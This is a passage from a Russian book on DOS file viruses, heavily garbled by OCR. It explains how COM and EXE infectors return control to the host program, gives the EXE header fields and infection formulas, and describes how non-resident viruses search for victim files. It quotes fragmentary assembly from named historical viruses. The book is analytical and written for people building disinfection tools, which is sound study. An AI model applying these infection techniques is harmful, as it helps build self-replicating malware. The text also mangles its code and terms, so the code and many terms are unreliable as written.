чего не заподозрил.

Именно фрагментм вируса, отвечаюшие за возврат управления 
«жертве», необходимо в первую очередь изучать вирусологу, для того 
чтобм разработать алгоритм «исцеления» зараженной программм. 
Ведь они сами по себе уже содержат алгоритм «исцеления».

Поскольку СОМ-программа не имеет никакой внутренней струк- 
турн, то вирусу вполне достаточно вернуть в памяти все перемешен- 
нне фрагментн в их первоначальнне позиции, восстановить исход- 
нне значения регистров и передать управление на адрес ЮОЬ.

Вот несколько примеров того, как это делают вирусм, заражаютие 
«стандартннм» способом.

Вирус 1гопМа1<1еп.636:
лпоV зх, Ззуе1 [сЛ 1 ; Байти №1 и №2 
гпо̂  [00100М],ах 
тоу а1-|, 8ауе2[с11] : Байт №3 
гсоу [00102п] ,аИ

ггюу а х . О Ю О п

; Восстанозление из стека регистров
рОр 61 

рОО 51 

рор СХ 

рор СХ 

рор 0Х

рор ез 
рорт

ризИ ах

геШ

Вирус А\УМЕ,1267:
ГСОУ сН .Ю О Г;

1еа з 1 ,Зауе[Рр] 
т о у  с х .3  
с 10

гер поузР

; О о н у л е н и е  р е г и : Г о о н  

х о г  о х , с х

> , 0 С Х . С Х
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х с г  й х .й х  
хо г  Й 1 .СИ  

ХОГ 51,51
; Восотановявние сегментов
ризИ 05
ви5П С5
рор Й5
р о р  65

шоу ах, 100(1 

ри5П ах 
х с г  а х , а х  
гетп

Сегментнме регистрм и регистрм обшего назначения при старте 
СОМ-программ имеют определеннме значения:

О ВХ=С5=05=Е8=58 -  сегментнмй адрес вмделенной области 
памяти («базм»);

О 01=5Р = ОҒҒҒЕЬ, а в стеке всегда 0;
О 51-1Р-100Ь;
О АХ=ВХ =0 или ОҒҒЬ;
О  СХ = длина программм МОВ 65535.
При возврате управления «жертве» вирусн далеко не всегда вос- 

станавливают исходное содержимое регистров обшего назначения. 
Большинство зараженннх программ на это не обрашают внимания, 
но некоторме могут работать некорректно. Среди вирусописателей 
«удовлетворительнмм» решением считается простое обнуление этих 
регистров перед возвратом в оригинальную программу. С другой сто- 
ронн, некоторне «хитрме» вирусн сами иногда активно используют 
«стандартнме» значения регистров для своих целей. Если программа 
окажется поочередно заражена «хитрьш» и «ленивмм» вирусами, то 
корректно работать она не будет.

Собственно передача управления коду «жертвм» может бнть
оформлена различньши способами: с применением команд «)МР»
внутрисегментного и межсегментного переходов, команд «КЕТ» воз- 
врата из «ближних» и «дальних» процедур и даже командн «ЖЕТ» 
возврата из обработчика прернвания. Рассмотрим поучительннй 
пример (вирус СЬиксЬа.554).
зиЬ а х . Ь х  , Оонуяение р е ги с то а  ЗХ

зиЬ . О^нулвние р е ги с тр з  ВХ

шоу а х . 0 1 0 0  Етал^изэнис з ств!
аизп ах . с т а р т о в о г о  здрес.з
5иЬ а х . а л  Сзнуление  региотра  АХ

193 , [оОЮО ; . ОтзрТиВай ЗДОеС
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1еэ 51. Ртодгат 

сх,У1г1еп 
гпоузЬ

Адрбс прикрепленной "жертБм"
ДЛИНЭ К.0Д8 ЖврТВЬ!

Копировэние кода жертьь! е исходную позицию 
Передача управления коду жертву

то7
гере
гегп

Этот вирус работает по «оверлейному» методу, прикрепляя «жерт- 
ву» к концу вирусного файла. После вмполнения своих «супружеских 
обязанностей» (то есть после попьггки размножения) СЬиксЬа.554 
копирует код -«жертвм» в «исходную позицию» и... Позвольте, но ка- 
ким образом тогда сможет внполниться команда «ЯЕТК», совершаю- 
шая «скачок» на адрес ЮОЬ, ведь она при этом копировании будет 
неминуемо уничтожена кодом оригинальной программм?!

Нет, это не ошибка. Дело в том, что младшие модели процессоров 
фирмм 1пГ.е1 внполняют командн, извлекая их из оперативной памя- 
ти не по одной, а группами. Первоначально командн оказнваются во 
внутреннем буфере процессора, в так назмваемом конвейере команд. 
Длина этого конвейера постепенно росла вместе с номером версии 
процессора:

О 8086/8088 -  4 байта;
О 80286 -  8 байтов;
О 80386 -  16 байтов...
Таким образом, при внполнении рассматриваемого вирусного 

фрагмента «затирались» командьт, еше находяшиеся в оперативной 
памяти, а вмполнялись -  уже оказавшиеся в конвейере.

Но из архитектурн процессоров типа Репйит (и более старших 
моделей) «конвейер команд» бнл исключен. На практике это озна- 
чает, что не только многие вирусн, но и почти все системм зашитн от 
несанкционированного копирования, написаннме примерно до сере- 
динм 90-х годов XX века. актуальность потеряли.

Разумеется, конкретннх способов возврата «жертве» управления 
почти столько же, сколько и самих вирусов. И не только рассмотреть, 
но и даже упомянуть все особенности и «тонкости» бнло бм затруд- 
нительно. Тем не менее почти все способн построенн на обтих прин- 
ципах и реализованн при помоши ограниченного количества команд. 
Наиболее сильно сходство заметно при изученин многочисленннх 
и примитивннх студенческих вирусов, созданннх начинаюшнми ви- 
русописателями. Это обстоятельство нодтолкнуло разработчиков 
антивируса Ог\¥ЕВ в 1998 г. к попмтке научиться искать в кодах 
программ типичнме фрагментм, принадлежавдие новмм, егце неиз- 
вестннм СОМ-вирусам, анализировать их и автоматически удалять 
«заразу » из программм. Найденнме таким образом вирусн получили
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в терминологии Ог\УЕВ обвдее имя МппуиЬ.Сепепс (англ. пгппу -  
дурачок, простофиля).

Задумано бьшо хорошо, но практическая реализация, как это обьгч- 
но водится, оказалась носителем ряда трудноустранимнх недостат- 
ков. Главньга недостаток заключался в ложннх срабатнваниях анти- 
вируса на совершенно бедобидньга фрагментах вполне «нормалъннх» 
программ. «Лечение» таких программ приводило к их безнадежной 
порче. Вот пример «мнимого больного»:
5таг1::

са11 Мехх
Нех1::

рор с)1
зио . 3
1еа й1 , 51аг1:[Ьх]
г)о«зЬ
ге1

Епс) Зтагт

Просушествовав пару лет, режим обнаружения и лечения «дурац- 
ких> вирусов бнл из программн Вг\¥ЕВ удален.

В.4. Вирусь!, варажаюшие 
ЕХЕ-профаммь1

..Апокалиптический образ сушества, кото- 
рое... несет в себе неведомую и грозную про- 
грамму. и страшнее всего то, что оно само 
ничего пе знает об этой программе...

А. и Б. Стругацкие. «Жук в муравейнике»

ЕХЕ-формат исполнимнх файлов бнл разработан фирмой МкгозоЙ 
в начале 80-х годов XX века и предназначался для «больших» про- 
грамм, не умешавшихся в теснне рамки 64 Кб. Это -  с1е Гасю и с!е 
^иге -  основной форматпрограмм для М 5-005.

Программист, разрабатнваюший ЕХЕ-программу, может обратить- 
ся к любой, сколь угодно «далекой» (разумеется, в пределах 1 Мб) 
ячейке памяти примерно так:
ЮС 0« 7

№0'.' й з , зед 100 

*оу 51, оПзе? 1-ОС
Яз: [8:. I 123511
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Компилятор, встретив ключевое слово «8ЕС», оставит конкрет- 
ное числовое значение внутри кода инструкции «МОУ» пустьш, но 
компоноввдик сохранит эту позицию в специальной таблице пере- 
мецаемьас ссьшок (Ке1осаИоп ТаЬ1е) ЕХЕ-файла. В момент загруз- 
ки ЕХЕ-программн операционная система просканирует таблицу и 
заполнит все такие «пустне места» конкретньши значениями сег- 
ментннх адресов, зависяшими от месторасположения программн 
в памяти. Конкретно: прибавит к «пустому месту» числовое значение 
«базн» -  сегментного адреса области памяти, предназначенного для 
кода и данннх программн1. При расчетах местоположения изменяе- 
мнх ячеек памяти следует иметь в виду, что, как и в случае с СОМ- 
программами, первне ЮОЬ байтов этой области памяти занимает 
префикс программного сегмента; таким образом, сегментннй адрес 
«базн» тождествен сегментному адресу Р5Р.

Другой особенностью ЕХЕ-программ является то, что сразу после 
загрузки сегментнне регистрн Е5, 05 ,55  и С5 имеют в обшем случае 
разнне значения, и, следовательно, даннне, исполняемнй код и стек 
могут располагаться в абсолютно разннх сегментах.

Вот почему файлн, содержашие ЕХЕ-программн, обладают опре- 
деленной внутренней структурой и содержат:

О специальннй заголовок, описнваюший параметрн ЕХЕ- 
программн;

О размешенную сразу после заголовка таблицу перемевдаемнх 
сснлок;

О расположеннне после таблицн программньш код и даннне 
(дисковнй образ задачи).

Структура заголовка разработана два с половиной десятка лет на- 
зад программистом из М1сгозо£с Марком Збиковски, которьш не по- 
стеснялся увековечить свое имя при помоши собственннх инициа- 
лов -  «М2». Вот она (названия полей даются по гипертекстовому 
справочнику «ТесЬ Не1р»):
ЕхеНеаа 5А4-0п ; +00 'Ш '  - сигнатура ЕХЕ*заголовка
РзПРзд  ? , *02 Кол-во байтоз в последнвк 512-байтникв ЕХЕ-Фзйла
РадеСпт ? ; +04 Кол-ео 512-байтников в ЕХЕ-файле
Яе1оСпТ о* ? , *06 Чиоло алементое 8 Ве1осапоп 1аЬ1е
Нс]г$1 2 е й*  "  , - 0 8  С у м и а р н а я  ц л и н з  в 1 5 -б э й тн и ка .«  з д г о л о в ^ а  и т а б л и ц н

М! пМегп '■'■ , +0А М и ч и м ал ьн о е  к м - в о  1 6 - б а й т н и к й в  т р е б уе м о й  па м яти

‘■‘ зхМеи Ф н  9 , +0С М ж с и ч а л ь н о е  ю л - е о  1 6 - б а й т н и к о е  т с е б у е м о й  п э м я т и

1 Принцип настройки программного кода в процессс илп после загрузки его
в память по-англнйски назмвается «йх ир».
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Ве1о53 4* ?
ЕхеЗр ?
СпкЗиш  Лч ?

Ехе1Р й* ?
Не1оС8 0» ?
Т а Ь Ю т г  0 «  ?

О^пМигл й-«у ?

+0Е Смб1д. 8 16-байтник.ах стекового сегмента отнооит-но "базн" 
+10 Значение укэзателя отека 8Р при старте прогрэммм 
+12 Контрольная оумма байтов программн (не иопользуется)
»14 Смедение стартовой командн программи относительно С$
+16 Смеш в 16-байтниках кодового сегмента отнооительно "баэьГ
+18 Адрес е файле Ве!осапоп ТаЬ1е
+1А Номер оверлея (0 для корневого сегмента)

КеЬсайоп ТаЬ1е представляет собой множество пар 16-битовмх 
слов, где каждое первое слово (нечетное) содержит смешение внутри 
сегмента перемешаемой сснлки, а каждое второе (четное) -  смевде- 
ние сегмента перемевдаемой ссшлки относительно «базш».

После загрузки программи в память образ задачи размешается, на- 
чиная со смешения ЮОЬ относительно «базн», но ни заголовок, ни 
таблица перемевдаеммх ссьшок в памяти уже не присутствуют.

Интересно и важно, что все файльг пс!оу.’з-программ тоже на-
чинаются с этого заголовка. Правда. их структура гораздо сложней, 
кроме М2-заголовка, имеются и другие заголовки, и подробнее все 
это будет рассмотрено в соответствуюшей главе.

3.4.1. «Стандартньш» метод заражения
Местоположение точки входа в программу определяется парой 
•«Ке1оС5:Ехе1Р» полей заголовка ЕХЕ-файла. Фактически значение 
поля «Ке1оСЗ» рассматривается операционной системой как смеше- 
ние кодового сегмента программн, измеряемое в 16-байтннх пара- 
графах, относительно «базн». А значение поля «Ехе1Р» -  байтовое 
смешение точки входа от начала этого кодового сегмента.

Вирусописателям при заражении ЕХЕ-программ приходится ви- 
доизменять (предварительно сохранив) значения полей «Ке1оС5» и 
«Ехе1Р» так, чтобн они указнвали на некую команду внутри виру- 
са, приписанного к концу ЕХЕ-файла. Пусть Ьеп -  это длина ЕХЕ- 
файла до заражения, а Ое1га — смешение первой командн внутри ви- 
Руса (обнчно Бека^О). Тогда новне значения полей Ке1оС5 и Ехе1Р 
могут бнть внчисленн, например, следуюшим образом:
Ке1оС5 = (Ееп -  Шг512ех16)/16;
Ехе1р = (Ьеп -  Нс1г512ех16)%16 + Оека.

После заражения программн полная длина ее файла увеличивает- 
ся на длину вируса. Этот факт также необходимо отразить в полях 
заголовка. Пусть У^гЕеп -  длина кода вируса в байтах, тогда 
РаПРа^ = (Ееп + \лгЕеп )%512;
Ра§еСп1 = ( 1..еп + У 1гЬеп)/512 + 1.
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Поскольку «Ра§еСпГ> -  это количество 512-байтовмх страниц 
в файле, то прибавление единицм не потребуется в одном-единствен- 
ном случае -  когда остаток от деления равен нулю.

Бнвает, что место под стек оказнвается отведенньш в конце ЕХЕ- 
программн. Чтобн избежать наложения кода вируса на область стека, 
вирусописатель может «отодвинуть» стековьга сегмент:
Ке1о55 = Ке1о55 + У1гЬеп/16.

Перед автором «стандартного» ЕХЕ-вируса при адресации к пере- 
менннм в памяти часто встают примерно такие же проблемн, что и 
перед автором «стандартного» СОМ-вируса. Поэтому нередко пер- 
внми исполнимнми командами по-прежнему являются знаменитме 
«САЬЬ $+3» и «РОР <Регистр>», внчисляюшие «дельта-смешение». 
Также для ЕХЕ-вирусов характерна адресация с указанием «С5:» 
в качестве префикса переназначения сегментов.

Внполнив свои «зловреднне» действия, вирус должен вернуть 
управление коду «жертвн». Зная сегментньш адрес «базн» (он при 
старте программм хранится в регистрах Е5 и 05  либо доступен при 
помовди функции 62Ь прермвания 21Ь), вирус прибавляет к нему 
размер Р5Р (в 16-байтниках) и «старое» значение «Ке1оС5», получая 
кодовьга сегмент. Смешение точки входа внутри кодового сегмента -  
это «старое» значение «Ехе1Р». Остается только внполнить дальннй 
переход по рассчитанному адресу. Вот несколько примеров.

Вирус Уапкее.2С.2885:
ЯОУ О Х , 08

аоЗ йх,Ю  
ааО ах.сз:Ке1оС5 
ризм ах 
ризИ сз:Ехе1Р

гетт

Вирус 5УС.3103:
ПОУ ох, ез

аСО Ох, 10

аап о х .с з :Н е 1 о С 5 [5 1

ШОУ с з :3 8 8 [5 1 ] ,  Ьл
ШОУ Ох, сз : Е х е IР [ з I ]

ПОУ с з :0 0 0 .О х

ао

с *  ■?

Пл ^

ОЕАп : ](гз 838
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Алгоритм заражения ЕХЕ-программ, основаннмй на этих прин- 
ципах и формулах, используется очень часто и считается «стандарт- 
ньм».

ЕХЕ-программм, которне содержат в своих файлах «внутренние» 
оверлеи, будучи зараженн подобннми вирусами, часто работают не- 
корректно или совсем не работают. Такие программн получаются, на- 
пример, в результате работь1 популярной системн программирования 
СУ БД СПррег. Характерннм признаком программ со «внутренними» 
оверлеями является несоответствие реальной длинн файла и длинн. 
рассчитанной по значениям полей «РаггРа§» и «Ра§еСгИ». «Хорошим 
тоном» среди вирусописателей считаются наличие в вирусе проверки 
на «оверлейность» и отказ от заражения подобннх программ.

3.4.2. Заражение в середину файла
Одним из решений проблемн «оверлейннх» ЕХЕ-программ является 
помешение вируса в середину файла -  в пространство между заго- 
ловком (включаюшим в данном случае и Ке1оса1юп ТаЬ1е) и образом 
задачи. Для этого вирус должен:

О «раздвинуть» файл, разместившись сразу после заголовка и 
приписав остаток программн к концу файла;

О видоизменить, как и в случае «стандартного» метода зараже- 
ния, требуемне поля в заголовке;

О «пересчитать» Ке1оса11оп СаЬ1е с учетом того, что код програм- 
мн сдвинулся и все сеьшки «поплнли».

Невооруженннм глазом видно, что метод заражения в середину 
файла гораздо сложнее «стандартного» метода. Вот почему вирусов,

Здоровая
программа

Заголовок

Код, даннме 
и стек

Зараженная
программа

Заголовок

Вирус

Код, даннью 
и стек

Рис. 3.4 ❖ Заражение 
ЕХЕ-программн в середину
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заражаюших в середину файла, относительно немного. В качестве 
примера можно привести представителей немногочисленного, состоя- 
вдего всего из двух вирусов, семейства УогопегЬ.

Кстати, удалять из файла такого рода вирус не менее «противно», 
чем внедрять!

3.4.3. Заражение в начало файла
Не следует думать, что «заражение» программ -  привилегия вирусов. 
Сувдествует большое количество задач, решаемнх при помовди внед- 
рения «постороннего» кода в «мирную» программу Например, этим 
приемом пользуются разработчики «навесньгх» завдит от несанкци- 
онированного копирования (МоЬа, СегЬегиз и прочие). Код завдитм 
по вирусно.му принципу внедряется в пользовательскую программу, 
первмм получает управление, вьшолняет разнообразнме проверки и 
лишь при успешном подтверждении легальности программной ко- 
пии передает ей управление. Отличие от «настоявдего» вируса одно -  
код завдить1 не умеет саморазмножаться, а «заражение» происходит 
с ведома владельца программн.

Как правило, одним из важнейших требований к такого рода «псев- 
довирусам» являются их надежность, способность корректно внед- 
ряться в самме разнообразнне программм. Видимо, это возможно 
лишь в том случае, когда заражаемая программа представляет собой 
внутренний или внешний оверлей, а корневой сегмент (вирус или 
«псевдовирус») не гюльзуется штатнмми средствами операционной 
системм для загрузки и запуска этой программн, но вмполняет эту 
операцию полностью самостоятельно.

Заразить программу по этому методу крайне просто, в точности 
так же, как бьшо описано в разделе, посвявденном «оверлейньш» ви- 
русам. Но вот возврат управления в программу происходит, в обвдем 
случае, нетривиально:

О внделяются фрагментн оперативной памяти для загрузки са- 
мой программн и для размевдения ее средн, либо вирус осво- 
бождает для этой цели свои собственнне фрагментн памяти, 
перемевдаясь в другое место;

О код программн (имеется в виду «чистьга» код, без заголовка и 
К.е1осаШ>п ТаЬ1е) загружается в нужную позицию оперативной 
памяти -  сразу после Р5Р;

О сканируется Ке1осайоп ТаЬ1е и настраиваются перемевдаемме 
ссмлки в программе;
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О соответствуювдим образом инициализируются все сегментнне 
регистрм и регистрм обвдего назначения;

О  управление передается на точку входа программм.
Фактически вирус вмполняет при этом роль системного загруз- 

чика.
В «псевдовирусах> заражение по данному алгоритму, как правило, 

сочетается со сложной шифровкой кода программм. В этом случае 
удалить «посторонний» код элементарно, основная же проблема со- 
стоит в восстановлении файла зараженной программн в исходном 
виде.

«Настоявдие» вирусм редко используют подобную сложную тех- 
нику, но иногда «это» случается. В качестве примера можно привести 
довольно «навороченньш» вирус Маппа.1296, созданньга, по увере- 
ниям автора, «в память о несчастной любви». Девушки, не отвергайте 
программистов!

Кроме того, подобная техника характерна для так назнваемнх 
утилит-«упаковшиков» (РК1ЛТЕ, Ь2ЕХЕи Ь2СОМ, 01ЕТ, А1НЕХЕ, 
ТЗСКПКСН и прочие), которне позволяют «уменьшать» файлн, за- 
нимаемне программами. Делается это так: файл программн «ком- 
прессируется» при помовди какого-нибудь известного алгоритма 
сжатия данннх (например, Е2\¥) и приписнвается в виде «внутрен- 
него оверлея» к маленькой программке, которая при запуске переме- 
вдает свой код в неиспользуемне регионн памяти, «распаковнвает» 
в освободившееся место свой «оверлей», настраивает в нем переме- 
вдаемне сснлки и передает на него управление. Впрочем, бнвает, что 
«распаковнвальвдик» сам приписнвается к сжатой программе напо- 
добие вируса.

3.5. Нерезидентньне вирусь!
-  ...Все, все нагили, -  нежно сказал боро- 
датьш... -  Все нашли и егце полмешка луку 
в придачу!

А. и Б. Стругацкме.
«В наше интересное время»

До сих пор мн обходили вниманием вопрос: каким образом вирусн 
обнаруживают свои жертви? Настало время восполнить этот пробел.

Как мн уже упоминали раньше, по способу поиска жертв файло- 
вне вирусм могут бнть разделеньт на две большие группьт -  резидент-
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ние и нерезидентнме. Отличительнмм свойством нерезидентних 
вирусов является то, что их «жизненнъш цикл», включаювдий этапм 
начальной инициализации. поиска и заражения жертв, укладнвается 
всего в несколько мгновений сразу после получения ими управления. 
Внполнив свое «предназначение», нерезидентньш вирус возвравда- 
ет управление программе-вирусоносителю и «засмпает» в ожидании 
очередного запуска этой программм.

Рассмотрим несколько вдироко распространенннх алгоритмов по- 
иска потенциальннх жертв, применяеммх в нерезидентннх вирусах.

3.5.1. Метод предопределенного местоположения 
файлов
Идея этого метода очень проста и основана на факте, что почти все 
компьютерм, на которнх установлени «стандартное» программное 
обеспечение и «стандартннй» набор приложений, с точки зрения 
расположения программ на диске похожи друг на друга, словно 
близнецн.

Известно, что только несколько процентов наиболее «извравден- 
ннх» пользователей устанавливают операиионную систему на диск 
О: или в каталог (папку) с экзотическими именами типа «\¥98» или 
«Ми$г01е», в подавляювдем же большинстве случаев для этой цели 
используются диск и каталог, имена которьк предлагаются фирмой 
Мкгозо£г по умолчанию, а именно « С : \ \ У 1 пс1о \у з » и л и  «С:\\¥1№ҒГ». 
А это означает, что с огромной вероятностью на таком компьютере 
командньш процессор «СОММАНВ.СОМ» и игровая программа 
«ЗОЬ.ЕХЕ» лежат в каталоге « С : \ \ ¥ ] пс1о \у 5», а системная утили- 
та «ОЕВУС.ЕХЕ» -  в каталоге «С :\N¥ 1  п(1 оVз\СОММАК0» и т. п. 
С такой же долей вероятности 15 лет назад все системнме файлн 
М 5-005  располагались в каталоге «С :\005», а популярнейшая обо- 
лочка МогСоп Сотпшк1ег «жила» в «С:\МС».

Разумеется, это обстоятельство не могли обойти своим внимани- 
ем вирусописатели. Например, один из первнх в истории файловнх 
вирусов, знаменитий ЬеЬ1§Ь. ничтоже сумняшеся сразу пнтался за- 
разить файл «СОМ МАNВ .С: ОМ », находявдийся в корневом каталоге 
текувдего диска. Делал он это примерно так:
шоу а(|, 19П ; Функция 19п - номер т в к у ц е го  диска

1 пи 44и , Наивная хитрость, на самом деле внзнвается 1пт 2 1п
'Ш  а 1, 61 п ; Генерация буквь̂  имени уотройства по номеру

йх, оГГзет МАМЕ
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Вставка н уж н о й  б у к в н  б начало пути ф айла

П о п й тк з  о т қ р н т ь  файл к о м а н д н о го  лроцессора
пт

НАМЕ ЙЬ 'X:\С0ММАНВ. СОН', 0

Правда, далее он начинал работать как резидентньш вирус, но вм- 
шеприведенньш фрашент отлично демонстрирует именно метод 
«предопределенного местоположения файлов».

В качестве других примеров можно привести старинньш вирус 
АЬгахая.1304, начинаюший работу с заражения файла « С :\0 0 5 \ 
005НЕ1Л..ЕХЕ»-. и несколько более «свежий» вирус ТгихеяЬсф пм- 
таюшийся заразить некоторне, заранее внесеннне в список жертв, 
файлм в каталогах «С:\Г)05» и «С:\\¥1NI)0 \¥ 5».

Описанннй метод применяется в вирусах не слишком часто. Дей- 
ствительно, ведь вирусм претендуют на «вечную жизнь», в то время 
как все течет и все изменяется. Например, каталог «С :\005» сей- 
час присутствует далеко не на всех машинах, да и даже там, где он 
есть, весьма маловероятно наличие в этом каталоге файла оболочки 
БОБЗНЕЬЬ из версии 5.0 операционной системн М 5-В05. А файл 
«С :\С О М МАК Б .С О М » хоть и является непременньш атрибутом 
операционннх систем семейства \¥ 1 П (1о \У 5  9Х, н о  размешается в кор- 
невом каталоге лишь «в справочннх целях», в то время как «актив- 
ной» является копия командного процессора, загружаемая из файла 
«С:\\¥тс1 о\^з\СОММАМО.СОМ» (это легко проверить, вьшолнив 
команду 5ЕТ и обратив внимание на строку, определяюгцую значение 
переменной окружения «СОМ5РЕС»).

Способ самостоятельного удаления вирусов, обнаруживаюших 
свои жертвн по описанному алгоритму, крайне прост: надо восста- 
новить зараженнне файлн, взяв их из дистрибутива операционной 
системн или прикладной программн.

3.5.2. Метод поиска в текутем каталоге
Это самнй знаменитнй метод, используемнй авторами койпьютер- 
ннх вирусов. Практически кажднй «самоутверждаюгцийся» вирусо- 
писатель начинает свою деятельность именно с вируса, разнскиваю- 
шего и заражаюшего свои «жертвн» в текушем каталоге. В любой 
достаточно большой вирусной коллекции превалируют именно та- 
кие, не всегда безобиднне, но в любом случае -  крайне «тихоходнне» 
саморазмножаювдиеся программм. Даже если обратиться к скрижа-
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лям, на котормх вмбитм сказания и легендм о саммх ранних этапах 
вирусной истории, очень трудно найти информацию о том, что ка- 
кой-либо устроенннй подобнмм образом вирус вмзвал сколь-нибудь 
замети}гю эпидемию на пользовательских компьютерах. Ну разве 
что можно изредка найти упоминания о вирусах семейств Р1хе1 и 
Ат$(ха<1, ухитрявшихся путешествовать с компьютера на компью- 
тер в те годм, когда единственннм вариантом носителя для работм и 
обмена программами служили гибкие пятидюймовне дискетм объ- 
емом 360 Кб.

Впрочем, сувдествует по крайней мере одно исключение из обвде- 
го правила -  компьютернмй вирус, которнй стал невероятно извест- 
ннм и размножился в огромннх количествах, несмотря на крайнюю 
примитивность: КЬ12Ьп)ак.На11о.759 (известннй также под именами 
КЬ13ЬпЗак.759, С-759 и др.). Комизм ситуации в том, что этот вирус 
размножался не самостоятельно, но стараниями десятков и сотен по- 
читателей «творчества» некоего П. Л. Хижняка, опубликовавшего в 
1991 г. тонкую невзрачную брошюрку под названием чПишем вирус 
и антивирус» [32]. В этом опусе приводился исходннй ассемблерньш 
текст крайне примитивной, неряшливо и нерационально написанной 
саморазмножаювдейся программн, заражавшей файлн в текушем 
каталоге и сообвдавшей: «На11о! I Ьауе §о1. VIгиз £ог уои!». Этого ока- 
залось достаточно, чтобьх сонмн •«страждувдих» кинулись набирать 
вручную текст вируса, исправляя в меру своего понимания и разуме- 
ния имевшиеся в нем ошибки, переставляя местами некоторне ко- 
мандь1 и заменяя строку сообвдения на свои собственнне «копирай- 
ть1>> типа: «К1РА Уег1.0 5ег§еу К. 5сЬоо1654 с1азз 9» или «Евгенич, тн 
скотина!!! ХА-ХА-ХА!!!».

Настоявдей эпидемии, конечно, не бмло. Но в школах, лицеях, гим- 
назиях и институтах в течение нескольких лет после вьгхода книжки 
регулярно разражались десятки «микроэпидемий», инициированннх 
шкодливнми ручонками сопливнх чвирусомарателей». П. Л. Хиж- 
няк добился своего. Его имя в среде вирусологов и «продвинугмх» 
вирусописателей стало нарицательннм.

Метод поиска «жертв» в текувдем каталоге основан на совместной 
работе парн функций М5-ГЮ5:4ЕЬ «ҒчпсПчгз! 1;11е> и 4ҒЬ «Ғт(1Кех1- 
ҒИе», доступннх через программное прермвание 21Ь. Нередко виру- 
см, нслюльзуклцие этот метод, назмвают просто «5еагсЬ»-вирусами 
(от англ. Iозеагск -  искать).

Функция с кодом 4ЕЬ инициализирует процесс циклического по- 
иска и пмтается найти первмй файл, соответствуювдий требуеммм
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Рис. 3.5 ❖ Алгоритм работь! зеагсЬ-вируса

маске поиска и файловьш атрибутам. Перед визовом этой функции 
необходимо поместить в регистр АН код функции (число 4ЕЬ), в ре- 
гистр СХ -  набор битовьгх атрибутов искомого файла, а в регистро- 
вую пару В5:ОХ -  адрес текстовой строки, задаюшей маску поиска. 
Перечислим бита в регистре СХ, задаклцие правила поиска файлов:

О бит 0 -  заадшценнне от записи;
О бит 1 -  скрнтме;
О бит 2 -  системнме;
О бит 3 -  файлм типа «метка тома»;
О бит 4 -  каталоги (ведь это тоже файлм!);
О бит 5 -  «архивированнме» файлн.
Функция с кодом 4ҒЬ требует только поместить свой код в регистр 

АН и вмзвать прермвание 21Ь. При каждом внзове она последова- 
тельно перебирает все файлн, соответствуюшие условиям, опреде- 
ленннм в функции 4ЕЬ.

Обе функции возврашают установленннй в единицу бит САККУ 
в регистре флагов, если список «подходявдих» файлов исчерпан. 
В случае успешного завершения обе функции возврашают блок ин- 
формации со следуюшей структурой:
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Кезегуей сЬ 15(1 йир (?)
АТТг аь ? ; +15(1 Атрибутн нзйденного файла
Т1Ш0 ■а« ? ; +16(1 Зремя создания файла ( битн 0-4 - 

; секундн, 5-10 -  минутн, 11-15 -  часн
Оаге .1* ? ; +13(1 Дата создания файла
8126 00 ? ; +1А(1 Размер файла
Налю аь 14 бир (?) ; +1Е(1 Иня файла в формате 8.3

Эта информация помешается в связанную с программой область 
БТА -  Оа1а 'ГгапзГег Агеа. По умолчанию область БТА находится по 
адресу 05:80Ь, то есть в том же районе, какой зарезервирован для 
размевдения командной строки программи. Поэтому очень многие 
«криво» написаннне вирусн, работаюшие с функциями 4ЕЬ/4ҒЬ, 
способнн необратимо испортить командную строку, передаваемую 
программе. Внглядит это, например, так: пользователь запускает 
форматирование дискетн командой «ҒОК.МАТ А:», но программа 
«ҒОКМАТ.СОМ», зараженная подобньш некорректно написанньш 
вирусом, упорно отказьшается видеть имя форматируемой диске- 
тн. Действительно, в область памяти, предназначенную для строчки 
«А>, функции 4ЕЬ/4ҒЬ во время работн вируса успевают поместить 
атрибутн и прочие параметрн какого-то файла, то есть, с точки зре- 
ния программн «ҒОКМАТ», нераспознаваемнй двоичннй мусор.

Более аккуратно написаннне вирусн на время своей работн при 
помо1ци функции с кодом 1АЬ изменяют местоположение области 
БТА в памяти, а потом возвравдают его на место.

Рассмотрим ф ратен т листинга вируса КЬ12Ьп)ак.На11о.759, ис- 
пользуюший метод поиска при помоши функций 4ЕЬ/4ҒЬ:

; Сохранение облаоти Р8Р 
гпоу с х , 0100
шоу ох.0000

1оор1:
иоу а1, сз:[Ь х]
шоу Зауе[Ьх], а1
1пс ох
1оор 1оор1
; Поиск лэреого подходяшего файла 
1еа ох, НазкСВх]
воу с х ,0020 ; Атрибути
иоу аИ, 4Е ; ҒшаҒ1г5ТҒ11е

21
]пс Iпгест : На фрагмент инфицирования
]шр МоМоге . На фрагмент заверсения

Нех+Ғ;
Поиск слодуюшего под.<одяшего Файла
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л)оу аь, 04Ғ ; Ғ1паМех1:Ғ11е
1пг 021
]по Iп (“001; ; На фрагмент инфицироввния
1тр НоМоге ; На фрагмент завершения

Гп^есТ:

, Фрагмент заражения програнми (пролушеи)
]шр Нехгғ

; Восстановление области Р8Р 
МоМоге:
шоу сх.ОЮО
шоу а1, Зауе[Ьх]
я!ОУ сз: Ьуте рТг [Ьх],а1
1пс Ьх
1оор 000001А5

Мазк оь '* .оо « ’ ,0 ; Маска поиска файлов

Любопьггно, что этот вирус даже не пнтается переназначить мес- 
тоположение области ВТА при помоши функции 1АЬ. Вместо этого 
он перед началом работн сохраняет где-то «в чуланчике», а перед за- 
вершением -  восстанавливает весь 256-байтовьга фрагмент памяти, 
содержавдий Р5Р и командную строку. Тем не менее результат оказн- 
вается достигн\т -  зараженная программа не теряет доступа к своей 
командной строке.

Нередко программн, зараженнне «5еагсЬ»-вирусами, можно рас- 
познать, даже не пьггаясь дизассемблировать их код. Дело в том, что 
если область БТА сохраняется вместе с вирусом, то внутри заражен- 
ной программн «на просвет» виднн текстовне строки -  имя заражен- 
ной программн и маска. Вот фрагмент дампа программн, зараженной 
вирусом ВеЬе.1004, в котором четко вьаделяются маска «*.СОМ» и 
имя зараженного файла «СОММАНО.СОМ»:
00 01 00 00-00 00 00 00-00 00 00 00-05 00 2А 2Е ........................... *.
43 4Ғ 40 00-80 00 78 10-01 ЗҒ ЗҒ ЗҒ-ЗҒ ЗҒ ЗҒ ЗҒ СОМ.А.х..???????
ЗҒ 43 4Ғ 4Э-ЗҒ 02 00 00-00 00 00 00-00 20 /В 0А ?С0М?................. {.
4С 18 02 00-00 00 43 4Ғ-40 40 41 4Е-44 2Е 43 4Ғ I ......... СОННАИО.СО
40 00 00 00-00 00 00 00-58 2Е АЗ СС-01 58 1Е 06 М X .г  X

